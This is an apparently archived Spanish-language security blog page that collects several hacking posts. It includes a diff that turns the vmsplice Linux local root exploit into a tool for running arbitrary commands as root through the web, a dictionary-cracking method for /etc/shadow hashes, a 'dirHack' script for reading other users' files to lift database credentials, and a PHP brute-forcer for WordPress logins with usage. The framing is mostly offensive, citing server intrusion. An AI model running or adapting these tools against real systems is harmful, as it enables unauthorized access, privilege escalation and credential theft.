CategoríaSeguridad

Temas relacionados con seguridad informatica.

Filtros simples en ettercap

Les motraré cómo crear filtros simples para usar con ettercap, para que podamos modificar parte del tráfico como tags html, conversaciones de chat, etc.
Para esto necesitamos obviamente instalar el suit ettercap-ng, lo podemos descargar desde Sitio oficial ettercap

Haremos las pruebas con el sitio https://www.google.cl, modificaremos el título, el contenido, la imágen, etc.

Seguir leyendo

Descifrando password encriptadas con shadow (md5 + salt)

En Linux las password o claves de los usuarios (incluyendo root) se almacenan en el fichero /etc/shadow, encriptadas y con un salt, que nos complica el descifrado. En pocas palabras una shadow password es un hash del password mas un salt (hashed and salted password).
Un ejemplo de una clave shadow es root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30:13911::::::, si la analizamos podemos darnos cuenta de lo siguiente:

  • Lo que nos interesa es solamente root:$1$xOqq7NEt$vDOA0jbLcaiRbGsj3ddz30.
  • Lo que esta antes de “:” corresponde al usuario: root; y lo que sigue es la password.
  • Si descomponemos la password podemos obtener:
  • $1$: Nos indica que corresponde a una encriptacion md5.
  • xOqq7NEt: Es el SALT que se usa para generar el hash del password
  • vDOA0jbLcaiRbGsj3ddz30.: Es el hash salteado de nuestra password.

Si analizamos todos estos datos podemos darnos cuenta que teniendo el salt podemos encriptar una palabra o frase y generar un hash similar al que estaba en el fichero /etc/shadow, por lo que solo nos queda crear un script y tener un diccionario de palabras a mano para empezar a crackear o descifrar las password en shadow.

El comando mkpasswd nos permite generar un password segun un salt especificado.
Ejemplo:

machine:~$ mkpasswd -H md5 miPassword -S DSfdsdaA
$1$DSfdsdaA$kOxgZsSAshG4W.dgGp28Y/

He creado un script para hacer mas eficiente y automatiza un poco el proceso.

Seguir leyendo

root exploit: Ejecutar comando como root

Hace un tiempo se dio a conocer un bug que afectaba a las versiones 2.6.17 – 2.6.24.1 del Kernel de Linux. Se publicaron distintas variantes del exploit que nos permitia escalar privilegios y ganar acceso root a una maquina con solo ejecutar el exploit.
Tuve la idea de modificar uno de estos codigos publicados para poder explotar la vulnerabilidad a traves de la web. Esto se me ocurrio debido a la experiencia en intrusion en servidores, sabiendo que muchos usan versiones de kernel antiguos o que no estan parcheadas.

root-exploit.diff

  1. 51a52
  2. > char  *_cmd;
  3. 55d55
  4. < printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
  5. 182,183d181
  6. <
  7. <       printf("[+] root\n");
  8. 185c183,184
  9. <       execl("/bin/bash", "bash", "-i", NULL);
  10. >       system(_cmd);
  11. >       //execl("/bin/bash", "bash", "-i", NULL);
  12. 195a195
  13. >       _cmd = argv[1];
  14. 202,205d201
  15. < printf("———————————–\n");
  16. <       printf(" Linux vmsplice Local Root Exploit\n");
  17. <       printf(" By qaaz\n");
  18. <       printf("———————————–\n");
  19. 221,223d216
  20. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  21. <       printf("[+] page: 0x%lx\n", pages[0]);
  22. <       printf("[+] page: 0x%lx\n", pages[1]);
  23. 241,243d233
  24. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  25. <       printf("[+] page: 0x%lx\n", pages[2]);
  26. <       printf("[+] page: 0x%lx\n", pages[3]);
  27. 258,259d247
  28. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
  29. <       printf("[+] page: 0x%lx\n", pages[4]);
  30. 269d256
  31. <       printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size)

La modificacion que hago es eliminar todos los printf para que el resultado sea mas limpio ademas, tambien modifico el codigo para que ejecute el comando que nosotros le digamos y luego vuelva a su estado normal.

Demostracion

username@machine:~$ ./root-exploit whoami
root
username@machine:~$

Seguir leyendo

dirHack

El siguiente script sirve para hacer auditorias de seguridad en cuanto a los permisos en la estructura de directorios de nuestros servidores.

  1. #!/bin/sh
  2. # Written by Zerial &amp; Pons
  3. # McDonald‘s Day …
  4. # 21.34, Jun 13 2006 – Updated: 01.41, Jun 15 2006
  5. # # # # # # # # # # # # # # # # # # # # # # # # # #
  6. #  ____  _      _   _            _
  7. # |  _ (_)_ __| | | | __ _  ___| | __
  8. # | | | | | ‘__| |_| |/ _` |/ __| |/ /
  9. # | |_| | | |  |  _  | (_| | (__|   < # |____/|_|_|  |_| |_|__,_|___|_|_
  10. #
  11. # # # # # # # # # # # # # # # # # # # # # # # # # #
  12. version="1.0.2"
  13. if [ $# -lt 2 ]
  14. then
  15.         echo
  16.         echo "DirHack eXploit $version"
  17.         echo "This thing will list all sub-home directories"
  18.         echo "that are accesable by the user running the"
  19.         echo "script."
  20.         echo -e "tusage: $0 id output-file bz2|gz|text (default is text)"
  21.         echo -e "texample: $0 999 out bz2"
  22.         echo
  23.         break
  24. else
  25.         echo > $2
  26.         if [ ! –w $2 ]
  27.         then
  28.                 echo "File $2 doesn’t have write permissions"
  29.                 break
  30.         fi
  31.  
  32.         freedirs="public_html public_ftp etc tmp mail"
  33.         echo "Starting DirHack $version"
  34.         echo "DirHack eXploit $version" >> $2
  35.         for dir in $freedirs
  36.         do
  37.                 for user in `awk -F‘:’ ‘ {printf $1 "n"} ‘ /etc/passwd`
  38.                 do
  39.                         userhome=`cat /etc/passwd |grep $user: |grep :$(id -u $user): |awk -F‘:’ ‘ {printf $6 "n"}’`
  40.                         fulldir=$userhome/$dir
  41.                         if [ `id -u $user` -gt $1 ]
  42.                         then
  43.                                 if [ -d $fulldir ]
  44.                                 then
  45.                                         echo "" >> $2
  46.                                         echo "————————————————————-" >> $2
  47.                                         echo "User: $user" >> $2
  48.                                         echo "Directory: $fulldir" >> $2
  49.                                         echo "Size: `du -sh $fulldir`" >> $2
  50.                                         echo "" >> $2
  51.                                         ls -Rla $fulldir >> $2
  52.                         fi
  53.                 fi
  54.                 done
  55.         done
  56.         case $3 in
  57.                 bz2)
  58.                         bzip2=`which bzip2`
  59.                         if [ -x $bzip ]
  60.                         then
  61.                                 $bzip2 -f $2
  62.                                 echo "File ready and compressed in $2.bz2"
  63.                         else
  64.                                 echo "No exec permissions for bzip2 or bzip2 not found."
  65.                                 echo "File left uncompressed in $2"
  66.                         fi;;
  67.                 gz)
  68.                         gzip=`which gzip`
  69.                         if [ -x $gzip ]
  70.                         then
  71.                                 $gzip -f $2
  72.                                 echo "File ready and compressed in $2.gz"
  73.                         else
  74.                                 echo "No exec permissions for gzip or gzip not found."
  75.                                 echo "File left uncompressed in $2"
  76.                         fi;;
  77.  
  78.                 *)
  79.                         echo "File ready in $2";;
  80.  
  81.                 esac

Funcionamiento: Lee todos los usuarios desde /etc/passwd y luego, por cada usuario obtenido, ingresa al directorio public_html y lista, recursivamente, todos los directorios y subdirectorios. Generalmente, el usuario en el que corre apache se llama apache y obviamente, debe tener acceso de lectura a todos los directorios y ficheros que se desean mostrar, por ejemplo /home/user/public_html/index.php.

Si no tiene permisos de lectura para apache dificilmente se podria ingresar via web. Muchas veces, estos ficheros tienen permisos de escritura y de lectura y es cuando hay que actuar. Si no encontramos ficheros con permisos de escritura no importa, al menos tenemos acceso para leerlos. Por ejemplo, en los CMS mas populares como WordPress, Joomla, etc. suelen tener un fichero de configuracion con el usuario y clave, en texto plato, de la base de datos con lo que podemos generar un script que nos permita ingresar y/o apoderarnos de esa base de datos.
Este script nos creara un listado, en txt (opcionalmente comprimido en gz o bz), con todos los ficheros y sus permisos, para que podamos indagar en la estructura de directorios.
Una forma de solucionar este problema es con chroot.

Web Login por fuerza bruta

WordPress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

  1. < ?php
  2. ini_set("memory_limit", "100M");
  3. function crackSite($wordlist, $url, $user, $attemps = 0)
  4. {
  5.         if($file = file($wordlist))
  6.                 print "Read ".count($file)." words.n";
  7.         else
  8.         {
  9.                 print "Can’t read word list file.n";
  10.                 die();
  11.         }
  12.         $i = 0;
  13.         rtrim($fields_string,‘&amp;’);
  14.         foreach($file as $word)
  15.         {
  16.                 if(++$i%10 == 0)
  17.                         print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
  18.                 $fields_string = "log=".$user."&amp;pwd=".trim($word);
  19.                 $ch = curl_init();
  20.                 curl_setopt($ch,CURLOPT_URL,$url);
  21.                 curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
  22.                 curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
  23.                 $result = md5( curl_exec($ch) );
  24.                 if(!$oresult) $oresult = $result;
  25.                 if($oresult != $result)
  26.                 {
  27.                         print "Password found: ".$word."n";
  28.                         die();
  29.                 }
  30.                 curl_close($ch);
  31.         }
  32. }
  33. crackSite($argv[1], $argv[2], $argv[3]);
  34. ?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt https://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

httpvh://www.youtube.com/watch?v=CMfxsGQOtd8

Descargar video:
Mirror 1: Hardmodding (2.8M)

Router && Firewall: Script para iptables

Un router nos permite crear una ruta de ida y de vuelta de un paquete, se encarga de que dicho paquete llegue a su destino y que la respuesta llegue correctamente a su remitente. Nos servirá para “compartir” internet en nuestra LAN.

Un firewall nos va a permitir filtrar cierto trafico en nuestra red, por ejemplo habilitar o deshabilitar puertos, redireccionar, etc.

Para simplificar todo esto y poder compartir internet he creado un script bastante facil de usar y de configurar.

El script cuenta con lo siguiente:

  • fichero para habilitar puertos (whitelist): Nos permite indicar que puertos están disponibles para usar.
  • fichero para bloquear o banear ip (blacklist): Nos permite banear una serie de direcciones ip o host para que no puedan acceder a nuestra red.
  • fichero para redireccionar puertos (redirect): Nos permite habilitar puertos para cualquier maquina que este en nuestra red y redireccionar todo el tráfico.

Seguir leyendo